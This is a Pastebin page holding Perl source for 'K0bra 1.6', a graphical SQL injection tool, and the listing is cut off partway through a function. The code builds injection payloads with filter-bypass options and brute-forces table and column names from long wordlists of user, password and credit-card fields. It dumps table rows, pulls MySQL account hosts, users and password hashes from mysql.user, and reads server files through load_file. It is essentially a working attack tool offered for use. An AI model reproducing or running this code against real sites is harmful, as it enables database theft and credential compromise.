Doddy

K0bra 1.6 (TK)(Codigo NO identado)

Jul 15th, 2012
167
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 35.76 KB | None | 0 0
  1. #!usr/bin/perl
  2. #K0bra 1.6
  3. #Version Tk
  4. #Coded By Doddy H
  5.  
  6. #The arrays are a collection of various tools I found on the web.
  7.  
  8. my @buscar1 =('usuario','web_users','name','names','nombre','nombres','usuarios','member','members','admin_table','usuaris','admin','tblUsers','tblAdmin','user','users','username','usernames','web_usuarios','miembro','miembros','membername','admins','administrator','sign','config','USUARIS','cms_operadores','administrators','passwd','password','passwords','pass','Pass','mpn_authors','author','musuario','mysql.user','user_names','foro','tAdmin','tadmin','user_password','user_passwords','user_name','member_password','mods','mod','moderators','moderator','user_email','jos_users','mb_user','host','apellido_nombre','user_emails','user_mail','user_mails','mail','emails','email','address','jos_usuarios','tutorial_user_auth','e-mail','emailaddress','correo','correos','phpbb_users','log','logins','login','tbl_usuarios','user_auth','login_radio','registers','register','usr','usrs','ps','pw','un','u_name','u_pass','tbl_admin','usuarios_head','tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador','BG_CMS_Users','tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id','foro_usuarios','cliente','sistema_usuario','sistema_password','contrasena','auth','key','senha','signin','dir_admin','alias','clientes','tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member','calendar_users','cursos','tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization','curso','membros','utilizadores','staff','nuke_authors','accounts','account','accnts','signup','leads','lead','associated','accnt','customers','customer','membres','administrateur','utilisateur','riacms_users','tuser','tusers','utilisateurs','amministratore','god','God','authors','wp_users','tb_usuarios','asociado','asociados','autores','autor','Users','Admin','Members','tb_usuario','Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO','USR_NAME','about','access','admin_id','admin_name','admin_pass','admin_passwd','admin_password','admin_pwd','admin_user','admin_userid','admin_username','adminemail','adminid','administrator_name','adminlogin','adminmail','adminname','adminuser','adminuserid','adminusername','aid','aim','apwd','auid','authenticate','authentication','blog','cc_expires','cc_number','cc_owner','cc_type','cfg','cid','clientname','clientpassword','clientusername','conf','contact','converge_pass_hash','converge_pass_salt','crack','customers_email_address','customers_password','cvvnumber]','data','db_database_name','db_hostname','db_password','db_username','download','e_mail','emer','emni','emniplote','emri','fjalekalimi','fjalekalimin','full','gid','group','group_name','hash','hashsalt','homepage','icq','icq_number','id','id_group','id_member','images','ime','index','ip_address','kodi','korisnici','korisnik','kpro_user','last_ip','last_login','lastname','llogaria','login_admin','login_name','login_pass','login_passwd','login_password','login_pw','login_pwd','login_user','login_username','logini','loginkey','loginout','logo','logohu','lozinka','md5hash','mem_login','mem_pass','mem_passwd','mem_password','mem_pwd','member_id','member_login_key','member_name','memberid','memlogin','mempassword','my_email','my_name','my_password','my_username','myname','mypassword','myusername','nc','new','news','number','nummer','p_assword','p_word','pass_hash','pass_w','pass_word','pass1word','passw','passwordsalt','passwort','passwrd','perdorimi','perdoruesi','personal_key','phone','privacy','psw','punetoret','punonjes','pword','pwrd','salt','search','secretanswer','secretquestion','serial','session_member_id','session_member_login_key','sesskey','setting','sid','sifra','spacer','status','store','store1','store2','store3','store4','table_prefix','temp_pass','temp_password','temppass','temppasword','text','uid','uname','user_admin','user_icq','user_id','user_ip','user_level','user_login','user_n','user_pass','user_passw','user_passwd','user_pw','user_pwd','user_pword','user_pwrd','user_un','user_uname','user_username','user_usernm','user_usernun','user_usrnm','user1','useradmin','userid','userip','userlogin','usern','usernm','userpass','userpassword','userpw','userpwd','usr_n','usr_name','usr_pass','usr2','usrn','usrnam','usrname','usrnm','usrpass','warez','xar_name','xar_pass','nom dutilisateur','mot de passe','compte','comptes','aide','objectif','authentifier','authentification','Contact','fissure','client','clients','de donn?es','mot_de_passe_bdd','t?l?charger','E-mail','adresse e-mail','Emer','complet','groupe','hachage','Page daccueil','Kodi','nom','connexion','membre','MEMBERNAME','mon_mot_de_passe','monmotdepasse','ignatiusj','caroline-du-nord','nouveau','Nick','passer','Passw','Mot de passe','t?l?phone','protection de la vie priv?e','PSW','pWord','sel','recherche','de s?rie','param?tre','?tat','stocker','texte','cvvnumber');
  9. my @buscar2 = ('name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail','cliente','usrnm','user_usrnm','usr','admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email','senha','username','usernm','user_usernm','nm','user_nm','login','u_name','nombre','host','pws','cedula','userName','host_password','chave','alias','apellido_nombre','cliente_nombre','cliente_email','cliente_pass','cliente_user','cliente_usuario','login_id','sistema_id','author','user_login','admin_user','admin_pass','uh_usuario','uh_password','psw','host_username','sistema_usuario','auth','key','usuarios_nombre','usuarios_nick','usuarios_password','user_clave','membername','nme','unme','password','user_password','autores','pass_hash','hash','pass','correo','usuario_nombre','usuario_nick','usuario_password','userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors','user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username','tbladmins','sort','_wfspro_admin','4images_users','a_admin','account','accounts','adm','admin','admin_login','admin_userinfo','administer','administrable','administrate','administration','administrator','administrators','adminrights','admins','adminuser','art','article_admin','articles','artikel','ÃÜÂë','aut','autore','backend','backend_users','backenduser','bbs','book','chat_config','chat_messages','chat_users','client','clients','clubconfig','company','config','contact','contacts','content','control','cpg_config','cpg132_users','customer','customers','customers_basket','dbadmins','dealer','dealers','diary','download','Dragon_users','e107.e107_user','e107_user','forum.ibf_members','fusion_user_groups','fusion_users','group','groups','ibf_admin_sessions','ibf_conf_settings','ibf_members','ibf_members_converge','ibf_sessions','icq','images','index','info','ipb.ibf_members','ipb_sessions','joomla_users','jos_blastchatc_users','jos_comprofiler_members','jos_contact_details','jos_joomblog_users','jos_messages_cfg','jos_moschat_users','jos_users','knews_lostpass','korisnici','kpro_adminlogs','kpro_user','links','login_admin','login_admins','login_user','login_users','logins','logs','lost_pass','lost_passwords','lostpass','lostpasswords','m_admin','main','mambo_session','mambo_users','manage','manager','mb_users','member','memberlist','members','minibbtable_users','mitglieder','movie','movies','mybb_users','mysql','mysql.user','names','news','news_lostpass','newsletter','nuke_authors','nuke_bbconfig','nuke_config','nuke_popsettings','nuke_users','Óû§','obb_profiles','order','orders','parol','partner','partners','passes','passwords','perdorues','perdoruesit','phorum_session','phorum_user','phorum_users','phpads_clients','phpads_config','phpbb_users','phpBB2.forum_users','phpBB2.phpbb_users','phpmyadmin.pma_table_info','pma_table_info','poll_user','punbb_users','pwds','reg_user','reg_users','registered','reguser','regusers','session','sessions','settings','shop.cards','shop.orders','site_login','site_logins','sitelogin','sitelogins','sites','smallnuke_members','smf_members','SS_orders','statistics','superuser','sysadmins','system','sysuser','sysusers','table','tables','tb_admin','tb_administrator','tb_login','tb_member','tb_members','tb_user','tb_username','tb_usernames','tb_users','tbl','tbl_user','tbl_users','tbluser','tbl_clients','tbl_client','tblclients','tblclient','test','usebb_members','user_admin','user_info','user_list','user_logins','user_names','usercontrol','userinfo','userlist','userlogins','usernames','userrights','users','vb_user','vbulletin_session','vbulletin_user','voodoo_members','webadmin','webadmins','webmaster','webmasters','webuser','webusers','x_admin','xar_roles','xoops_bannerclient','xoops_users','yabb_settings','yabbse_settings','ACT_INFO','ActiveDataFeed','Category','CategoryGroup','ChicksPass','ClickTrack','Country','CountryCodes1','CustomNav','DataFeedPerformance1','DataFeedPerformance2','DataFeedPerformance2_incoming','DataFeedShowtag1','DataFeedShowtag2','DataFeedShowtag2_incoming','dtproperties','Event','Event_backup','Event_Category','EventRedirect','Events_new','Genre','JamPass','MyTicketek','MyTicketekArchive','News','PerfPassword','PerfPasswordAllSelected','Promotion','ProxyDataFeedPerformance','ProxyDataFeedShowtag','ProxyPriceInfo','Region','SearchOptions','Series','Sheldonshows','StateList','States','SubCategory','Subjects','Survey','SurveyAnswer','SurveyAnswerOpen','SurveyQuestion','SurveyRespondent','sysconstraints','syssegments','tblRestrictedPasswords','tblRestrictedShows','TimeDiff','Titles','ToPacmail1','ToPacmail2','UserPreferences','uvw_Category','uvw_Pref','uvw_Preferences','Venue','venues','VenuesNew','X_3945','tblArtistCategory','tblArtists','tblConfigs','tblLayouts','tblLogBookAuthor','tblLogBookEntry','tblLogBookImages','tblLogBookImport','tblLogBookUser','tblMails','tblNewCategory','tblNews','tblOrders','tblStoneCategory','tblStones','tblUser','tblWishList','VIEW1','viewLogBookEntry','viewStoneArtist','vwListAllAvailable','CC_info','CC_username','cms_user','cms_users','cms_admin','cms_admins','jos_user','table_user','bulletin','cc_info','login_name','admuserinfo','userlistuser_list','SiteLogin','Site_Login','UserAdmin','Admins','Login','Logins');
  10.  
  11. use Tk;
  12. use Tk::ROText;
  13. use Tk::Dialog;
  14. use LWP::UserAgent;
  15. use URI::Split qw(uri_split);
  16.  
  17. if ($^O eq 'MSWin32') {
  18. use Win32::Console;
  19. Win32::Console::Free();
  20. }
  21.  
  22. installer();
  23.  
  24. my $nave = LWP::UserAgent->new();
  25. $nave->timeout(5);
  26. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  27.  
  28. my $color_fondo = "black";
  29. my $color_texto = "green";
  30.  
  31. my $logo = MainWindow->new(-background=>$color_fondo,-foreground=>$color_texto);
  32. $logo->title("K0bra 1.6 (C) Doddy Hackman 2012");
  33. $logo->geometry("500x620+20+20");
  34. $logo->resizable(0,0);
  35.  
  36. $menula = $logo->Frame(-relief=>"sunken",-bd=>1,-background=>$color_fondo,-foreground=>$color_texto);
  37. my $menulnowaxm = $menula->Menubutton(-text=>"Options",-underline=>1,-background=>$color_fondo,-foreground=>$color_texto,-activebackground=>$color_texto)->pack(-side=>"left");
  38. my $aboutnowaxm = $menula->Menubutton(-text=>"About",-underline=>1,-background=>$color_fondo,-foreground=>$color_texto,-activebackground=>$color_texto)->pack(-side=>"left");
  39. my $exitnowaxm = $menula->Menubutton(-text=>"Exit",-underline=>1,-background=>$color_fondo,-foreground=>$color_texto,-activebackground=>$color_texto)->pack(-side=>"left");
  40. $menula->pack(-side=>"top",-fill=>"x");
  41.  
  42. $menulnowaxm->command(-label=>"Scan",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&nownow);
  43. $menulnowaxm->command(-label=>"Scanner without checking",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&nownownow);
  44. $menulnowaxm->command(-label=>"Get Details",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&details);
  45. $menulnowaxm->command(-label=>"Fuzz Tables",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&fuzz);
  46. $menulnowaxm->command(-label=>"Fuzz Columns",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&fuzzcol);
  47. $menulnowaxm->command(-label=>"Mysql User",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&mynow);
  48. $menulnowaxm->command(-label=>"load_file",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&myfile);
  49. $menulnowaxm->command(-label=>"Dump",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&dum);
  50. $menulnowaxm->command(-label=>"Hex",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&per1);
  51. $menulnowaxm->command(-label=>"ASCII",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&per2);
  52. $menulnowaxm->command(-label=>"Logs",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&openlogsk);
  53.  
  54. $aboutnowaxm->command(-label=>"About",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&aboutxa);
  55.  
  56. $exitnowaxm->command(-label=>"Exit",-background=>$color_fondo,-foreground=>$color_texto,-command=>\&exitnow);
  57.  
  58. $logo->Label(-text=>"Target : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>20,-y=>40);
  59. my $targetero = $logo->Entry(-width=>65,-text=>"http://127.0.0.1:8080/sql.php?id=1",-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>43,-x=>80);
  60.  
  61. $logo->Label(-text=>"Bypass : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>20,-y=>80);
  62.  
  63. $logo->Optionmenu(-background=>$color_fondo,-foreground=>$color_texto,-activebackground=>$color_texto,
  64. -options => [["--"=>"--"], ["/*"=>"/*"],["%20"=>"%20"]],-variable => \$var,-textvariable =>\$bypass)->place(-x=>90,-y=>82);
  65.  
  66. $logo->Label(-text=>"Details : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>190,-x=>60);
  67. my $informatero = $logo->Listbox(-height=>10,-width=>50,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>150,-x=>130);
  68.  
  69. $logo->Label(-text=>"Databases",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>340,-x=>65);
  70. $logo->Label(-text=>"Tables",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>340,-x=>215);
  71. $logo->Label(-text=>"Columns",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>340,-x=>345);
  72.  
  73. my $datero = $logo->Listbox(-width=>20,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>380,-x=>40);
  74. my $tablero = $logo->Listbox(-width=>20,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>380,-x=>180);
  75. my $columnero = $logo->Listbox(-width=>20,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>380,-x=>320);
  76.  
  77. $logo->Label(-text=>"Status : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>100,-y=>560);
  78. my $tatus = $logo->Entry(-width=>35,-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>160,-y=>563);
  79.  
  80. $datero->bind("<Double-1>",[\&getdbs]);
  81. $tablero->bind("<Double-1>",[\&schematablesdb]);
  82. $columnero->bind("<Double-1>",[\&schemacolumnsdb]);
  83.  
  84. MainLoop;
  85.  
  86. sub nownownow {
  87. motor($targetero->get,$bypass);
  88. }
  89.  
  90. sub fuzz {
  91.  
  92. my $page = $targetero->get;
  93. my $save = partimealmedio($page);
  94.  
  95. $tablero->delete("0.0","end");
  96.  
  97. ($pass1,$pass2) = &bypass($bypass);
  98. my $count = "0";
  99. savefile($save.".txt","\n");
  100. if ($page =~/(.*)hackman(.*)/g) {
  101. my $start = $1; my $end = $2;
  102. for my $table(@buscar2) {
  103. chomp $table;
  104. $tatus->configure(-text=>"Fuzzing Tables ...");
  105. $logo->update;
  106. $concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52))))";
  107. $injection = $start.$concat.$end.$pass1."from".$pass1.$table.$pass2;
  108. $code = toma($injection);
  109. if ($code =~/ERTOR854/g) {
  110. $count++;
  111. $tablero->insert("end",$table);
  112. savefile($save.".txt","[Table Found] : $table");
  113. }}}
  114. $tatus->configure(-text=>" ");
  115. }
  116.  
  117. sub fuzzcol {
  118.  
  119. my $page = $targetero->get;
  120. my $save = partimealmedio($page);
  121. ($pass1,$pass2) = &bypass($bypass);
  122.  
  123. $columnero->delete("0.0","end");
  124.  
  125. $d = $tablero->curselection();
  126. for my $id (@$d) {
  127. my $table = $tablero->get($id);
  128.  
  129. my $count = "0";
  130. savefile($save.".txt","\n");
  131. if ($page =~/(.*)hackman(.*)/) {
  132. my $start = $1; my $end = $2;
  133. savefile($save.".txt","[Table] : $table");
  134. for my $columns(@buscar1) {
  135. chomp $columns;
  136. $tatus->configure(-text=>"Fuzzing columns ...");
  137. $logo->update;
  138. $concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),$columns,char(69,82,84,79,82,56,53,52))))";
  139. $code = toma($start.$concat.$end.$pass1."from".$pass1.$table.$pass2);
  140. if ($code =~/ERTOR854/g) {
  141. $columnero->insert("end",$columns);
  142. savefile($save.".txt","[Column Found] : $columns");
  143. }
  144. }
  145. }
  146. }
  147. $tatus->configure(-text=>" ");
  148. }
  149.  
  150. sub per1 {
  151.  
  152. my $he = MainWindow->new(-background=>$color_fondo,-foreground=>$color_texto);
  153. $he->title("Hex Converter (C) Doddy Hackman 2012");
  154. $he->geometry("420x70+20+20");
  155. $he->resizable(0,0);
  156. $he->Label(-text=>"Text : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>20,-y=>20);
  157. my $cam = $he->Entry(-width=>30,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>24,-x=>65);
  158. $he->Button(-text=>"Encode",-width=>10,-command=>\&paso1,-activebackground=>$color_texto,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>23,-x=>255);
  159. $he->Button(-text=>"Decode",-width=>10,-command=>\&paso2,-activebackground=>$color_texto,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>23,-x=>325);
  160.  
  161. sub paso1 {
  162. my $caca = $cam->get();
  163. chomp $caca;
  164. $cam->configure(-text=>encode($caca));
  165. }
  166.  
  167. sub paso2 {
  168. my $caca = $cam->get();
  169. chomp $caca;
  170. $cam->configure(-text=>decode($caca));
  171. }
  172. }
  173.  
  174.  
  175. sub per2 {
  176.  
  177. my $hexae = MainWindow->new(-background=>$color_fondo,-foreground=>$color_texto);
  178. $hexae->title("Ascii Converter (C) Doddy Hackman 2012");
  179. $hexae->geometry("420x70+20+20");
  180. $hexae->resizable(0,0);
  181. $hexae->Label(-text=>"Text : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>20,-y=>20);
  182. my $cama = $hexae->Entry(-width=>30,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>24,-x=>65);
  183. $hexae->Button(-text=>"Encode",-width=>10,-command=>\&paso3,-activebackground=>$color_texto,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>23,-x=>255);
  184. $hexae->Button(-text=>"Decode",-width=>10,-command=>\&paso4,-activebackground=>$color_texto,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>23,-x=>325);
  185.  
  186.  
  187. sub paso3 {
  188. my $caca = $cama->get();
  189. chomp $caca;
  190. $cama->configure(-text=>ascii($caca));
  191. }
  192.  
  193. sub paso4 {
  194. my $caca = $cama->get();
  195. chomp $caca;
  196. $cama->configure(-text=>ascii_de($caca));
  197. }
  198. }
  199.  
  200. sub dum {
  201.  
  202. my $pa = $targetero->get;
  203.  
  204. $max = MainWindow->new(-background=>$color_fondo,-foreground=>$color_texto);
  205. $max->title("Dump Values");
  206. $max->geometry("480x380+20+20");
  207. $max->resizable(0,0);
  208.  
  209. $max->Label(-text=>"Target : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>50,-y=>20);
  210. my $tata = $max->Entry(-width=>40,-text=>$pa,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>23,-x=>110);
  211.  
  212. $max->Label(-text=>"Table : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>50,-y=>60);
  213. my $tato = $max->Entry(-width=>20,-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>105,-y=>63);
  214.  
  215. $max->Label(-text=>"Column1 : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>90,-x=>50);
  216. my $tatu = $max->Entry(-width=>20,-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>130,-y=>93);
  217.  
  218. $max->Label(-text=>"Column2 : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>130,-x=>50);
  219. my $tita= $max->Entry(-width=>20,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>133,-x=>130);
  220.  
  221.  
  222. $max->Button(-width=>10,-text=>"Extract",-command=>\&tengor,-activebackground=>$color_texto,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>20,-x=>360);
  223.  
  224. $max->Label(-text=>"Column1",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>100,-y=>180);
  225. $max->Label(-text=>"Column2",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>300,-y=>180);
  226.  
  227. my $duta1 = $max->Listbox(-width=>20,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>210,-x=>70);
  228. my $duta2 = $max->Listbox(-width=>23,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>210,-x=>260);
  229.  
  230.  
  231. sub tengor {
  232.  
  233. $duta1->delete("0.0","end");
  234. $duta2->delete("0.0","end");
  235.  
  236. my $page = $tata->get;
  237. my $tabla = $tato->get;
  238. my $col1 = $tatu->get;
  239. my $col2 = $tita->get;
  240.  
  241. my $save = partimealmedio($page);
  242.  
  243. savefile($save.".txt","\n");
  244.  
  245. ($pass1,$pass2) = &bypass($bypass);
  246. if ($page=~/(.*)hackman(.*)/){
  247. my $start = $1;
  248. my $end = $2;
  249. $concatx = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),count($col1),char(69,82,84,79,82,56,53,52))))";
  250. $val_code = toma($start.$concatx.$end.$pass1."from".$pass1.$tabla.$pass2);
  251. $concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),$col1,char(69,82,84,79,82,56,53,52),$col2,char(69,82,84,79,82,56,53,52))))";
  252. if ($val_code=~/ERTOR854(.*)ERTOR854/ig) {
  253. $tota = $1;
  254. savefile($save.".txt","[Table] : $tabla");
  255. savefile($save.".txt","[+] Length of the rows: $tota\n");
  256. savefile($save.".txt","[$col1] [$col2]\n");
  257. for my $limit(0..$tota) {
  258. chomp $limit;
  259. $logo->update;
  260. $injection = toma($start.$concat.$end.$pass1."from".$pass1.$tabla.$pass1."limit".$pass1.$limit.",1".$pass2);
  261. if ($injection=~/ERTOR854(.*)ERTOR854(.*)ERTOR854/ig) {
  262. savefile($save.".txt","[$col1] : $1   [$col2] : $2");
  263. $duta1->insert("end",$1);
  264. $duta2->insert("end",$2);
  265. } else {
  266. last;
  267. }}
  268. } else {
  269. $tatus->configure(-text=>"Error");
  270. }}}}
  271.  
  272. sub myfile {
  273.  
  274. my $pag = $targetero->get;
  275.  
  276. $loa = MainWindow->new(-background=>$color_fondo,-foreground=>$color_texto);
  277. $loa->title("load_file helper");
  278. $loa->geometry("380x410+20+20");
  279. $loa->resizable(0,0);
  280.  
  281. $loa->Label(-text=>"Target : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>20,-y=>20);
  282. my $aa = $loa->Entry(-width=>40,-text=>$pag,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>23,-x=>80);
  283. $loa->Label(-text=>"File : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>60,-x=>23);
  284. my $tea = $loa->Entry(-width=>20,-text=>"C:/xampp/htdocs/aca.txt",-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>63,-x=>63);
  285. $loa->Button(-text=>"Encode",-width=>8,-command=>\&eno,-activebackground=>$color_texto,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>62,-x=>200);
  286. $loa->Button(-text=>"Show",-width=>8,-command=>\&ena,-activebackground=>$color_texto,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>62,-x=>263);
  287.  
  288. $loa->Label(-text=>"Output",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>160,-y=>130);
  289. my $mo = $loa->ROText(-width=>45,-height=>15,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>170,-x=>25);
  290.  
  291. sub eno {
  292. my $t = $tea->get;
  293. if ($t=~/0x/) {
  294. $tea->configure(-text=>decode($t));
  295. } else {
  296. $tea->configure(-text=>encode($t));
  297. }
  298. }
  299.  
  300. sub ena {
  301.  
  302. $mo->delete("0.0","end");
  303.  
  304. my $page = $aa->get;
  305. my $save = partimealmedio($page);
  306.  
  307. savefile($save.".txt","\n");
  308. ($pass1,$pass2) = &bypass($bypass);
  309. if ($page =~/(.*)hackman(.*)/g) {
  310. my $start = $1; my $end = $2;
  311. my $file = $tea->get;
  312. chomp $file;
  313. $concat = "unhex(hex(concat(char(107,48,98,114,97),load_file(".$file."),char(107,48,98,114,97))))";
  314. my $code = toma($start.$concat.$end.$pass2);
  315. chomp $code;
  316.  
  317. if ($code=~/k0bra(.*)k0bra/s) {
  318. my $word = $1;
  319. $mo->insert("end",$word);
  320. savefile($save.".txt","[File Found] : $file");
  321. savefile($save.".txt","\n[Source Start]\n");
  322. savefile($save.".txt","$word");
  323. savefile($save.".txt","\n[Source End]\n");
  324. } else {
  325. $tatus->configure(-text=>"Error");
  326. }}}}
  327.  
  328. sub mynow {
  329.  
  330. my $p = $targetero->get;
  331.  
  332. $mi = MainWindow->new(-background=>$color_fondo,-foreground=>$color_texto);
  333. $mi->title("Mysql Extractor");
  334. $mi->geometry("500x300+20+20");
  335. $mi->resizable(0,0);
  336.  
  337. $mi->Label(-text=>"Target : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>50,-y=>20);
  338. my $guix = $mi->Entry(-width=>40,-text=>$p,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>23,-x=>110);
  339. $mi->Button(-width=>10,-text=>"Extract",-command=>\&tengorax,-background=>$color_fondo,-foreground=>$color_texto,-activebackground=>$color_texto)->place(-y=>20,-x=>360);
  340.  
  341. $mi->Label(-text=>"Host",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>60,-y=>90);
  342. $mi->Label(-text=>"User",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>200,-y=>90);
  343. $mi->Label(-text=>"Password",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>360,-y=>90);
  344.  
  345. my $hostero = $mi->Listbox(-width=>20,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>130,-x=>40);
  346. my $usero = $mi->Listbox(-width=>23,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>130,-x=>180);
  347. my $pasero = $mi->Listbox(-width=>20,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>130,-x=>340);
  348.  
  349. sub tengorax {
  350.  
  351. my $page = $guix->get;
  352. my $save = partimealmedio($page);
  353.  
  354. my $cop = $page;
  355. my $cop1 = $page;
  356.  
  357. savefile($save.".txt","\n");
  358.  
  359. ($pass1,$pass2) = &bypass($bypass);
  360. $page =~s/hackman/concat(char(82,65,84,83,88,80,68,79,87,78,49))/;
  361. $code = toma($page.$pass1."from".$pass1."mysql.user".$pass2);
  362. if ($code=~/RATSXPDOWN/ig){
  363. $cop1 =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  364. $code1 = toma($cop1.$pass1."from".$pass1."mysql.user".$pass2);
  365. if ($code1=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  366. $mi->update;
  367. savefile($save.".txt","\n[+] Users mysql Found : $1\n");
  368. for my $limit(0..$1) {
  369. $mi->update;
  370. $cop =~s/hackman/unhex(hex(concat(0x524154535850444f574e,Host,0x524154535850444f574e,User,0x524154535850444f574e,Password,0x524154535850444f574e)))/;
  371. $code = toma($cop.$pass1."from".$pass1."mysql.user".$pass1."limit".$pass1.$limit.",1".$pass2);
  372. if ($code=~/RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN/ig) {
  373. $mi->update;
  374. $hostero->insert("end",$1);
  375. $usero->insert("end",$2);
  376. $pasero->insert("end",$3);
  377. savefile($save.".txt","[Host] : $1 [User] : $2 [Password] : $3");
  378. } else {
  379. last;
  380. }}}
  381. } else {
  382. $tatus->configure(-text=>"Error");
  383. $logo->update;
  384. }
  385. }
  386. }
  387.  
  388. sub schemacolumnsdb {
  389.  
  390. $columnero->delete("0.0","end");
  391.  
  392. my $page = $targetero->get;
  393. my $save = partimealmedio($page);
  394.  
  395. $d = $tablero->curselection();
  396.  
  397. for my $id (@$d) {
  398. my $da = $tablero->get($id);
  399.  
  400. if ($da=~/(.*)\.(.*)/) {
  401. my ($db,$table) = ($1,$2);
  402.  
  403. my $page3 = $page;
  404. my $page4 = $page;
  405.  
  406. savefile($save.".txt","\n");
  407. ($pass1,$pass2) = &bypass($bypass);
  408. savefile($save.".txt","\n[DB] : $db");
  409. savefile($save.".txt","[Table] : $table");
  410. $page3=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  411. $code3 = toma($page3.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."and".$pass1."table_schema=char(".ascii
  412. ($db).")".$pass2);
  413. if ($code3=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  414. savefile($save.".txt","[Columns length : $1 ]\n");
  415. my $si = $1;
  416. chomp $si;
  417. $page4=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),column_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  418. $real = "1";
  419. for my $limit2(0..$si) {
  420. $tatus->configure(-text=>"Getting columns ...");
  421. $logo->update;
  422. $code4 = toma($page4.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."and".$pass1."table_schema=char(".ascii
  423. ($db).")".$pass1."limit".$pass1.$limit2.",1".$pass2);
  424. if ($code4=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  425. $columnero->insert("end",$1);
